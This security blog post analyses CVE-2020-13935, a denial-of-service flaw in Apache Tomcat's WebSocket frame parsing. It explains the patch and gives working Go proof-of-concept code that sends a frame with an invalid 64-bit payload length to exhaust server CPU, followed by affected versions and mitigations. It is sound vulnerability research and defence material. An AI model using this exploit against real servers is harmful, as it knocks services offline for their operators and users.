2 November 2020
Diving into a WebSocket Vulnerability in Apache Tomcat
Apache Tomcat is a Java application server commonly used with web applications, which we often encounter in penetration tests.
In this post we will dive into the analysis of a vulnerability in the Apache Tomcat server and an exploit which helped our customer to assess the risk on their business. The vulnerability is a denial-of-service vulnerability appearing in conjunction with WebSockets, and has been assigned CVE-2020-13935.
During penetration tests, we often see instances running outdated versions of Apache Tomcat.
The release notes for Apache Tomcat 9.0.37 show that a vulnerability has been found and patched in July 2020, stating the following:
The payload length in a WebSocket frame was not correctly validated. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service.
This information is quite vague, resulting in the following questions:
- What constitutes an invalid payload length?
- What kind of denial-of-service occurs? CPU or memory exhaustion? Maybe even a crash?
- Under which circumstances are applications vulnerable? When does Apache Tomcat parse WebSocket messages?
- What investment do attackers need to make? Does exploitation require a large amount of bandwidth or computing power?
- Are there possible workarounds for cases where an upgrade is not feasible?
These questions can be answered with some analysis, and (among many other things) that is also part of our penetration tests.
The Patch
The Apache security team linked the corresponding
patch
for this vulnerability. The following code was added to
java/org/apache/tomcat/websocket/WsFrameBase.java
, fixing the vulnerability
(reformatted for legibility):
// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
throw new WsIOException(
new CloseReason(
CloseCodes.PROTOCOL_ERROR,
sm.getString("wsFrame.payloadMsbInvalid")
)
);
}
As we can see, the change consists of an additional check on the payload length field,
which is of the type long
, raising an exception if the value is negative. But how can
a payload length be negative?
In order to answer this question, let us take a look at the structure of a WebSocket frame, provided in the corresponding RFC:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-------------------------------+
| |Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+---------------------------------------------------------------+
The first 16 bits of a frame contain several bit flags as well as a 7-bit payload length. If this payload length is set to 127 (binary 1111111), the chart indicates that a so-called extended payload length of 64 bit should be used. Additionally, the WebSocket RFC states:
If [the 7-bit payload length is] 127, the following 8 bytes interpreted as a 64-bit unsigned integer (the most significant bit MUST be 0) are the payload length.
It seems to be a peculiar choice that despite the field clearly being a 64-bit unsigned integer, the RFC additionally requires the most significant bit to be zero. Perhaps this choice was made to provide interoperability with signed implementations, however it may cause confusion. In this case it even led to a security vulnerability.
Writing an Exploit
In the following we will implement a proof-of-concept in Go. Why Go you might ask? Go is awesome ❤️ and built-in concurrency as well as good library support for WebSockets come in handy. Furthermore, we are able to cross-compile the PoC for any platform we need to.
Let’s move along the specification and construct a WebSocket frame that has a negative
payload length when parsed by Apache Tomcat. First, the values for the bit flags FIN
,
RSV1
, RSV2
and RSV3
need to be chosen. FIN
is used to indicate the final frame of
a message. As the whole message that we want to send is contained in a single frame, we
set this bit to one. The RSV bits are reserved for future use and extensions to the
WebSocket specification, so they are all set to zero. The opcode
field (4 bit)
represents the type of the sent data. The value has to be valid, otherwise the frame would
be dropped. In this case, we want to send a simple text payload, which requires this field
to be set to the value 1. The Go library github.com/gorilla/websocket
provides a
constant for that which we will use. Now we can already construct the first byte of our
malicious WebSocket frame:
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
The first bit of the second byte is the MASK
bit, which must be set to one in
frames being sent from the client to the server. The interesting part is the
payload length, which can vary in size. If the payload size of the WebSocket
message doesn’t exceed 125 bytes, the length can be encoded directly in the
7-bit payload length field. For payload lengths between 126 and 65535, the
7-bit payload length field is set to the constant 126 and the payload length is
encoded as a 16-bit unsigned integer in the next two bytes. For larger
payloads, the 7-bit payload length field must be set to 127 and the next four
bytes encode the payload length as an 64-bit unsigned integer. As discussed
before, for the payload length being defined in 64 bits the most significant
bit (MSB) must be set to zero according to the specification. To trigger the
vulnerable code path in Apache Tomcat we need to specify a 64-bit payload
length with the MSB set to one, so we set the 7-bit payload length field to
1111111:
// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))
In order to construct a frame with an invalid payload length, triggering the misbehavior
in the Apache Tomcat implementation, we set the following eight bytes to 0xFF
:
// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
The following four bytes are the masking key. The specification requires this to be a random 32-bit value from a strong source of entropy, but as we violate the specification already, we just use a static masking key to make the code easier to read:
// 4 byte masking key
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)
The actual payload itself can be smaller than the specified length:
// write an incomplete message
buf.WriteString("test")
The assembly and transmission of our packet looks as follows. For good measure, we are keeping the connection open for 30 seconds after sending:
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
The code for this proof-of-concept exploit is available at github.com/RedTeamPentesting/CVE-2020-13935.
Build the executable by just running go build
. To test the program, we can
set up a vulnerable Apache Tomcat instance and target one of the WebSocket
examples provided with the installation:
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
That is all it takes to exploit the denial-of-service vulnerability. If a vulnerable WebSocket endpoint is now targeted and multiple malicious requests are made, the CPU usage goes up quite quickly and the server becomes unresponsive.
Note that the parsing code is only triggered with endpoints that actually expect WebSocket messages. We cannot send such a message to an arbitrary Tomcat HTTP endpoint.
According to the vulnerability description the following versions of Apache Tomcat are affected:
- 10.0.0-M1 to 10.0.0-M6
- 9.0.0.M1 to 9.0.36
- 8.5.0 to 8.5.56
- 8.0.1 to 8.0.53
- 7.0.27 to 7.0.104
For Defenders
If possible, update your Apache Tomcat server to the current version. However, there might be cases when updating is not feasible or very costly. In this case, you should evaluate whether your product is vulnerable. As explained above, the bug can only be triggered on WebSockets endpoints. Therefore, disabling or restricting access to those endpoints will mitigate the issue. Note that the built-in example directory also contains endpoints that handle WebSockets.
Thats all folks, stay tuned for further updates! 😄